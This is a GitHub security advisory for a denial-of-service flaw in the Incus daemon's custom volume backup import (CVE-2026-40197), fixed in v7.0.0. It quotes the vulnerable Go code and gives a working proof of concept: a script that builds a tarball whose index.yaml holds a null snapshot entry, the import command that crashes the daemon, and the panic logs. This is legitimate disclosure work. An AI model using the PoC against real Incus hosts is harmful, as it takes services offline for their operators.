Nil-Pointer Dereference via Custom Volume Import

Moderate **stgraber** published **GHSA-r7w7-mmxr-47r9** last week

Package

github.com/lxc/incus/v6/cmd/incusd (Go)

Affected versions	Patched versions
< v7.0.0	>= v7.0.0

Description

Summary

Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.

In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and *snapshot.ExpiresAt without first validating that the element itself is initialized.

Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volume_snapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.

Affected File:
https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

```
func (b *backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData
io.ReadSeeker, op *operations.Operation) error {
    [...]
    // Create database entries for new storage volume snapshots.
    for _, s := range srcBackup.Config.VolumeSnapshots {
        snapshot := s // Local var for revert.
        snapName := snapshot.Name

        // Due to a historical bug, the volume snapshot names were sometimes written
in their full form
        // (<parent>/<snap>) rather than the expected snapshot name only form, so we
need to handle both.
        if internalInstance.IsSnapshot(snapshot.Name) {
            _, snapName, _ = api.GetParentAndSnapshotName(snapshot.Name)
        }

        fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName)
        snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
        snapVol := b.GetVolume(drivers.VolumeTypeCustom,
drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName,
snapshot.Config)

        // Validate config and create database entry for new storage volume.
        // Strip unsupported config keys (in case the export was made from a
different type of storage pool).
        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName,
snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, snapVol.ContentType(), true, true)
        if err != nil {
            return err
        }

        reverter.Add(func() { _ = VolumeDBDelete(b, srcBackup.Project, fullSnapName,
snapVol.Type()) })
    }
    [...]
}
```

PoC

The following PoC demonstrates that a crafted custom volume backup archive containing a null entry in volume_snapshots can trigger a nil-pointer dereference during import.

Step 1: Generate the malformed archive

From a client or workstation with shell access, create a custom volume backup archive whose index.yaml contains one physical snapshot directory and a matching volume_snapshots array containing a literal null entry.

Commands:

```
cat <<EOF > poc_nil_snapshot.sh
#!/bin/bash
set -e

echo "[*] Building null snapshot dereference payload..."

mkdir -p backup/volume
mkdir -p backup/snapshots/snap0

cat <<EOT > backup/index.yaml
name: panic-nil-snap
backend: dir
pool: default
type: custom
snapshots:
  - snap0
config:
  volume:
    name: panic-nil-snap
    type: custom
    content_type: filesystem
    config: {}
  volume_snapshots:
    - null
EOT

tar -czf exploit_null_snapshot.tar.gz backup/
rm -rf backup/

echo "[+] PoC Tarball Created: exploit_null_snapshot.tar.gz"
EOF

bash poc_nil_snapshot.sh
```

Result:

```
[+] PoC Tarball Created: exploit_null_snapshot.tar.gz
```

Step 2: Trigger the vulnerable custom volume import path

From an Incus client with permission to import custom volumes, import the crafted archive into a valid storage pool.

Command:

```
incus storage volume import default exploit_null_snapshot.tar.gz
```

Result:

```
Error: Operation not found
```

Step 3: Verify the daemon panic

On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer dereference in CreateCustomVolumeFromBackup.

Command:

```
journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic:"
```

Result:

```
panic: runtime error: invalid memory address or nil pointer dereference
github.com/lxc/incus/v6/internal/server/storage.
(*backend).CreateCustomVolumeFromBackup(...)

Mar 23 17:27:55 incus-7a incusd[238672]: panic: runtime error: invalid memory address
or nil pointer dereference
Mar 23 17:27:55 incus-7a incusd[238672]: [signal SIGSEGV: segmentation violation
code=0x1 addr=0x18 pc=0x16881c3]
Mar 23 17:27:55 incus-7a incusd[238672]: goroutine 5802 [running]:
Mar 23 17:27:55 incus-7a incusd[238672]:
github.com/lxc/incus/v6/internal/server/storage.
(*backend).CreateCustomVolumeFromBackup(0x31c86ff85800, {{0x31c870a13203, 0x9},
{0x31c870a13300, 0xe}, {0x31c870a13318, 0x3}, {0x31c86f6d6298, 0x7}, {0x31c86fd13280,
...}, ...}, ...)
Mar 23 17:27:55 incus-7a incusd[238672]:
/home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7627 +0xe03
Mar 23 17:27:55 incus-7a incusd[238672]:
main.createStoragePoolVolumeFromBackup.func6(0x31c86fa5e000?)
Mar 23 17:27:55 incus-7a incusd[238672]:
/home/stgraber/Code/lxc/incus/cmd/incusd/storage_volumes.go:2715 +0x3f4
Mar 23 17:27:55 incus-7a incusd[238672]:
github.com/lxc/incus/v6/internal/server/operations.
(*Operation).Start.func1(0x31c86f758140)
Mar 23 17:27:55 incus-7a incusd[238672]:
/home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26
Mar 23 17:27:55 incus-7a incusd[238672]: created by
github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine
5783
Mar 23 17:27:55 incus-7a incusd[238672]:
/home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Main process exited, code=exited,
status=2/INVALIDARGUMENT
```

```
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-
x86) remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238744 (dnsmasq)
remains running after unit stopped.
Mar 23 17:27:55 incus-7a systemd[1]: incus.service: Unit process 238760 (dnsmasq)
remains running after unit stopped.
```

It is recommended to validate that each element of srcBackup.Config.VolumeSnapshots is non-nil before dereferencing it. If the archive contains a null snapshot entry, the function should return a structured validation error and abort the import gracefully rather than allowing a runtime panic to crash the service.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Severity

Moderate 6.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-40197

Weaknesses

No CWEs

Credits

stamparm	Finder
stgraber	Remediation developer